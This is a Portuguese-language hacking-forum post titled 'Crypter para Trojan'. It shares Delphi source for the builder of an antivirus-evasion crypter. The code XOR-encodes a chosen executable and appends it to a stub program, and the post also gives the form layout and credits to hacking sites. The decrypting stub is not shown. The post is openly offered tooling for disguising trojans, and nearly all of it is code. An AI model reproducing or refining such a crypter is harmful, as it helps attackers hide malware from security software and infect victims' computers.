Jump to content

Turbine o seu Perfil

Confira a atualização e participe do clube!
Clique e saiba mais

Junte-se ao Clube de Membros VIP

Tenha destaque e diversos benefícios!
Confira Aqui

Acesse nosso Discord

Conheça nossos canais interativos
Confira Aqui
Notícia
  • Adquira já o seu VIP!
Sign in to follow this  
stopschool

Crypter para Trojan

Recommended Posts

uses
 Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
 Dialogs, XPMan, StdCtrls, uEOF;

 

 

function MakeXor(Buffer :String; Key :Integer) :String;
var
 i,c,x  :Integer;
begin
 for i := 1 to Length(Buffer) do
 begin
   c := Integer(Buffer[i]);
   x := c xor Key;
   Result := Result + Char(x);
 end;
end;

procedure TForm1.btnFileClick(Sender: TObject);
begin
 if Open.Execute then
   edtFile.Text := Open.FileName;
end;

procedure TForm1.btnAboutClick(Sender: TObject);
begin
 MessageBoxA(0,'Open Source Cryter'+#10+#13+
               ''+#10+#13+
               'Author: Xash'+#10+#13+
               'Description: Simple a crypter for beginner'+#10+#13+
               'Thanks: steve10120'+#10+#13+
               ''+#10+#13+
               '[FR] www.hacksecu.com'+#10+#13+
               '[EN] www.hackhound.org', 'About', 64);
end;

procedure TForm1.btnBuildClick(Sender: TObject);
var
 Buffer :String;
begin
 if not Save.Execute then
   Exit;

 Buffer := ReadFile(edtFile.Text);
 Buffer := MakeXor(Buffer, 1337);

 CopyFile(PChar(ExtractFilePath(ParamStr(0))+'Stub/Stub.exe'), PChar(Save.FileName), False);
 WriteEof(Save.FileName, Buffer, '[1]', '[2]');

 MessageBoxA(0, 'Crypted!', 'Information', 64);
end;

end.

 

object Form1: TForm1
 Left = 255
 Top = 188
 Width = 399
 Height = 149
 Caption = 'OP Crypter'
 Color = clBtnFace
 Font.Charset = DEFAULT_CHARSET
 Font.Color = clWindowText
 Font.Height = -11
 Font.Name = 'Tahoma'
 Font.Style = []
 OldCreateOrder = False
 PixelsPerInch = 96
 TextHeight = 13
 object GroupBox1: TGroupBox
   Left = 8
   Top = 8
   Width = 369
   Height = 97
   TabOrder = 0
   object edtFile: TEdit
     Left = 8
     Top = 20
     Width = 281
     Height = 21
     TabOrder = 0
   end
   object btnFile: TButton
     Left = 296
     Top = 16
     Width = 65
     Height = 25
     Caption = '...'
     TabOrder = 1
     OnClick = btnFileClick
   end
   object btnBuild: TButton
     Left = 184
     Top = 56
     Width = 75
     Height = 25
     Caption = 'Build'
     TabOrder = 2
     OnClick = btnBuildClick
   end
   object btnAbout: TButton
     Left = 88
     Top = 56
     Width = 75
     Height = 25
     Caption = 'About'
     TabOrder = 3
     OnClick = btnAboutClick
   end
 end
 object Open: TOpenDialog
   Filter = '*.exe|*.exe'
   Left = 24
   Top = 64
 end
 object XPManifest1: TXPManifest
   Left = 288
   Top = 64
 end
 object Save: TSaveDialog
   DefaultExt = 'exe'
   FileName = 'Crypted.exe'
   Filter = '*.exe|*.exe'
   Left = 56
   Top = 64
 end
end

 

{ Open Source Cryter

 Author: Xash
 Description: Simple a crypter for beginner
 Thanks: steve10120

 [FR] www.hacksecu.com
 [EN] www.hackhound.org
}

Share this post


Link to post
Share on other sites
Guest
This topic is now closed to further replies.
Sign in to follow this  

×
×
  • Create New...